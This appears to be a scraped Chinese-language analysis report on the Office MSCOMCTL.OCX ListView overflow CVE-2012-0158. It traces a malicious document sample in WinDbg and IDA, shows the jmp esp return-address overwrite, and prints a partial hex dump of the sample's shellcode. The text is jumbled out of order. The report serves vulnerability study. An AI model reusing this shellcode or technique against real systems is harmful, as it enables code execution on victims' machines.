cve-2012-0158分析报告
- 格式:pdf
- 大小:648.63 KB
- 文档页数:11
计算器弹出来,接着 Word 就退出了。但我再一次打开这个样本,发现程序报错。
所以在测试前记得先备份,因为下面我们多次要打开这个样本。
漏洞分析
打 开 样 本 弹 出 计 算 器 , 所 以 Shellcode 应 该 会 调 用 WinExec 函 数 。 用 Windbg 附 加 WINWORD.EXE,bp kernel32!WinExec 下断
首先分配 20 个字节空间 275C89CA sub esp, 14h 然后调用 275C89DA call sub_275C876D
; 分配 20 字节局部空间
这个 call 的功能是从样本读取 dwBytes,这里是 0CH 字节返回到 eax 指向的内存地址。读取 到的 0xC 字节如下所示: 00127b70 43 6f 62 6a 64 00 00 00 82 82 00 00 接着程序
然后运行,把样本拖进 word。
程序断在 WinExec 入口点。 这时候计算器还没弹出来, 看一下 WinExec 的参数, 发现是 a.exe。 我去到这个目录,发现它就是一个计算器。看来 shellcode 应该是把系统的 calc 复制到别的 目录再运行它。
WinExec 的返回地址是 0x00127dee。往上翻翻,没发现 shellcode 从哪开始。Kb 打印堆栈 ChildEBP RetAddr Args to Child 00127b20 00127dee 0cd5a5b0 00000000 0cd5a5b0 kernel32!WinExec WARNING: Frame IP not in any known module. Following frames may be wrong. 00127b50 275c8a0a 07d8c008 0cd3b868 0001c000 0x127dee 00127b8c 00127c05 1005c48b c7000001 4d032400 MSCOMCTL!DllGetClassObject+0x41cc6 00000000 00000000 00000000 00000000 00000000 0x127c05 重新载入,在 MSCOMCTL!DllGetClassObject+0x41cc0 下断
如果读取的 12 字节开始 4 个字节不等于 0x6A626F43h,则跳转到错误处理。否则执行来自275C89F3 cmp
[ebp+dwBytes], 8
我这里[ebp+dwBytes]为 0x00008282。显然 0x00008282 大于 8,所以程序转到
这里其实就是我们真正溢出的那个 CALL。我们看这个 call 有三个参数 Sub_275C876D(8 字节局部空间起始地址,lpMem,字节数) 【这里字节数是 0x8282】 跟进这个 call 看看,首先 275c877f 6a04 push 4 275c8781 51 push ecx 275c8782 53 push ebx 275c8783 ff500c call dword ptr [eax+0Ch] ole32!CExposedStream::Read (771ca84b)} 读取 4 个字节到[ebp+var_4],返回值和 0 比较,如果小于 0,读取失败,转到失败处理,否 则
[ebp+var_4]和[ebp+dwBytes]即 0x00008282 比较,相等则
分配 0x8282 字节空间,接着
读取 0x8282 字节到刚才分配的堆空间。接着
我们看到:275C87CB rep movsd 再看看此时的 EDI=0x127b7c ESI=0x20e008 (指向前面读取的 0x8282 字节) ECX=0x20a0
前言
Cve-2012-0158 漏洞出现在 MSCOMCTL.OCX,是微软 Office 系列办公软件在处理 MSCOMCTL 的 ListView 控件的时候由于检查失误,导致攻击者可以通过构造恶意的文档执行任意代码, 本文我将分析这个漏洞的起因。
漏洞验证
我从网上拿到了一个样本:May.doc。首先我在虚拟机用 Word 打开这个样本,
是不是很熟悉呢?,到这里我们知道的信息如下: Shellcode 执行发生在下面 call 返回 275e7015 e8ad19feff call MSCOMCTL!DllGetClassObject+0x41c83 (275c89c7) 溢出发生在 275c8a05 e863fdffff call MSCOMCTL!DllGetClassObject+0x41a29 (275c876d) Shellcode 通过 jmp esp 覆盖返回地址利用。顺便 dump 部分 shellcode 00127b88 12 45 fa 7f 90 90 90 90 90 90 90 90 8b c4 05 10 .E.............. 00127b98 01 00 00 c7 00 24 03 4d 08 e9 5a 00 00 00 6b 65 .....$.M..Z...ke 00127ba8 72 6e 65 6c 33 32 00 df 2d 89 8c 1b 81 7d ef 42 rnel32..-....}.B 00127bb8 9d 85 85 d6 4e 99 59 5a 61 d8 54 93 77 77 21 9d ....N.YZa.T.ww!. 00127bc8 4a 62 68 c3 53 a3 83 6a 6b df 5c 5a 8a 1d 2b 4f Jbh.S..jk.\Z..+O 00127bd8 2c 45 28 81 71 f5 40 01 92 8f 05 ba 36 c1 0a 61 ,E(.q.@.....6..a 00127be8 61 61 61 73 68 65 6c 6c 33 32 00 8b 98 8a 31 61 aaashell32....1a 00127bf8 61 61 61 6f 70 65 6e 00 e8 11 02 00 00 6a ff e8 接下来用 IDA 打开有漏洞的 MSCOMCTL.OCX。定位前面那两个关键 call,先看上层 call 275e7015 e8ad19feff call MSCOMCTL!DllGetClassObject+0x41c83 (275c89c7)
断在这个 call 的上一句,Kb 发现这一层函数的返回地址是 0x 275e701a,它前面一个 call 是
接着两次 p,然后搜索内存
在 0x00127b88 发现万能跳转 0x7ffa4512 和 shellcode。并且在 275c8a05 e863fdffff call MSCOMCTL!DllGetClassObject+0x41a29 (275c876d) 之前这里还没有被 shellcode 覆盖,显然,溢出发生在 275c8a05 e863fdffff call MSCOMCTL!DllGetClassObject+0x41a29 (275c876d) 接着上面,我单步执行
漏洞利用
此样本是通过用 jmp esp 地址覆盖函数返回地址进行利用的
搜一下样本,发现 shellcode
之前看了通过利用异常处理进行的利用。 就像试试这个漏洞能不能用此方法。 在溢出即将发 生时候 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 我 dump 异常链 0:000> !exchain 0012f908: USER32!_except_handler3+0 (77d3edbf) CRT scope 0, func: USER32!UserCallWinProcCheckWow+155 (77d4f0cc) 0012f968: USER32!_except_handler3+0 (77d3edbf) 0012ffb0: WINWORD!wdGetApplicationObject+27bcf8 (30a6c5d4) 0012ffe0: kernel32!_except_handler3+0 (77e74809) CRT scope 0, filter: kernel32!BaseProcessStart+29 (77e737c8) func: kernel32!BaseProcessStart+3a (77e80128) Invalid exception stack at ffffffff 此时 EDI=0x00127b7c, 复制 33408 字节, 最多覆盖到 0x12FDFC, 而最近的异常处理在 0x12f908。 理论上可以利用。但是当我修改样本 shellcode 后面的数据时 shellocde 后面的数据在复制前 已经不是原始的的了。所以尽管可以覆盖到 SEH,但数据似乎是不可控的。
exit(-1); } } sub_275C876D(temp[8],lpMen,*temp[8]) { char val[4]; if( Read(val,4) <0 ); //继续从样本读取 4 字节到 temp { exit(-1); } else { if(val[0]==*temp[8]) { if( buffer=HeapAlloc(hHeap,0,val[0]) ); //分配 temp[0]字节空间 { Read(buffer,val[0]); //从样本读取 temp[0]字节到临时空间 memcpy(temp[12],buffer,0x8280); //复制 0x8280 字节到 sub_275C89C7() 剩下的 8 字节空间,导致覆盖返回地址 } else { exit(-1); } } else { exit(-1); } } }
而我们看 275e7015 e8ad19feff
call